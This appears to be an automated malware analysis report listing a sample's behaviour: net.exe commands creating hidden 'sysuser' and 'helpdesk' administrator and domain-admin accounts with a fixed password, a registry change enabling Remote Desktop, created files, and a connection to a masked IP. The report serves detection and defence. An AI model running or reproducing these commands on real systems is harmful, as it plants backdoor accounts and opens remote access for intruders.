Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\net.exe' user sysuser 1ASDqwe /expires:never /add
- '%WINDIR%\syswow64\net.exe' localgroup administrators sysuser /add
- '%WINDIR%\syswow64\net.exe' localgroup "remote desktop users" sysuser /add
- '%WINDIR%\syswow64\net.exe' group "domain admins" sysuser /add
- '%WINDIR%\syswow64\net.exe' user helpdesk 1ASDqwe /expires:never /add
- '%WINDIR%\syswow64\net.exe' localgroup administrators helpdesk /add
- '%WINDIR%\syswow64\net.exe' localgroup "remote desktop users" helpdesk /add
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\index.dat
- %APPDATA%\microsoft\windows\cookies\low\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\index.dat
Network activity
TCP
Other
- '34.##9.100.209':443
Miscellaneous
Executes the following
- '%WINDIR%\syswow64\net1.exe' user sysuser 1ASDqwe
- '%WINDIR%\syswow64\net1.exe' group "domain admins" helpdesk /add
- '%WINDIR%\syswow64\net.exe' user helpdesk 1ASDqwe
- '%WINDIR%\syswow64\net1.exe' user helpdesk /active:yes
- '%WINDIR%\syswow64\net1.exe' localgroup "remote desktop users" helpdesk /add
- '%WINDIR%\syswow64\net.exe' group "domain admins" helpdesk /add
- '%WINDIR%\syswow64\reg.exe' add "hklm\system\currentcontrolset\control\terminal server" /v fdenytsconnections /t reg_dword /d 0 /f
- '%WINDIR%\syswow64\net1.exe' user helpdesk 1ASDqwe /expires:never /add
- '%WINDIR%\syswow64\net.exe' user helpdesk /active:yes
- '%WINDIR%\syswow64\net.exe' user helpdesk /expires:never
- '%WINDIR%\syswow64\net.exe' user sysuser 1ASDqwe
- '%WINDIR%\syswow64\net1.exe' user sysuser 1ASDqwe /expires:never /add
- '%WINDIR%\syswow64\net1.exe' user sysuser /expires:never
- '%WINDIR%\syswow64\net.exe' user sysuser /expires:never
- '%WINDIR%\syswow64\net1.exe' user sysuser /active:yes
- '%WINDIR%\syswow64\net1.exe' localgroup administrators helpdesk /add
- '<SYSTEM32>\rundll32.exe' "<SYSTEM32>\WININET.dll",DispatchAPICall 1
- '%WINDIR%\syswow64\net1.exe' user helpdesk 1ASDqwe
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\syswow64\WININET.dll",DispatchAPICall 1
- '%WINDIR%\syswow64\net1.exe' localgroup administrators sysuser /add
- '%WINDIR%\syswow64\net.exe' user sysuser /active:yes
- '%WINDIR%\syswow64\net1.exe' user helpdesk /expires:never
- '%WINDIR%\syswow64\net1.exe' group "domain admins" sysuser /add
- '%WINDIR%\syswow64\net1.exe' localgroup "remote desktop users" sysuser /add
- '%WINDIR%\syswow64\net.exe' user helpdesk /active:yes' (with hidden window)
- '%WINDIR%\syswow64\net.exe' localgroup "remote desktop users" helpdesk /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user helpdesk /expires:never' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user sysuser 1ASDqwe /expires:never /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' group "domain admins" helpdesk /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' localgroup administrators helpdesk /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user sysuser /expires:never' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user sysuser 1ASDqwe' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user sysuser /active:yes' (with hidden window)
- '%WINDIR%\syswow64\net.exe' group "domain admins" sysuser /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' localgroup "remote desktop users" sysuser /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' localgroup administrators sysuser /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user helpdesk 1ASDqwe /expires:never /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user helpdesk 1ASDqwe' (with hidden window)
- '%WINDIR%\syswow64\reg.exe' add "hklm\system\currentcontrolset\control\terminal server" /v fdenytsconnections /t reg_dword /d 0 /f' (with hidden window)
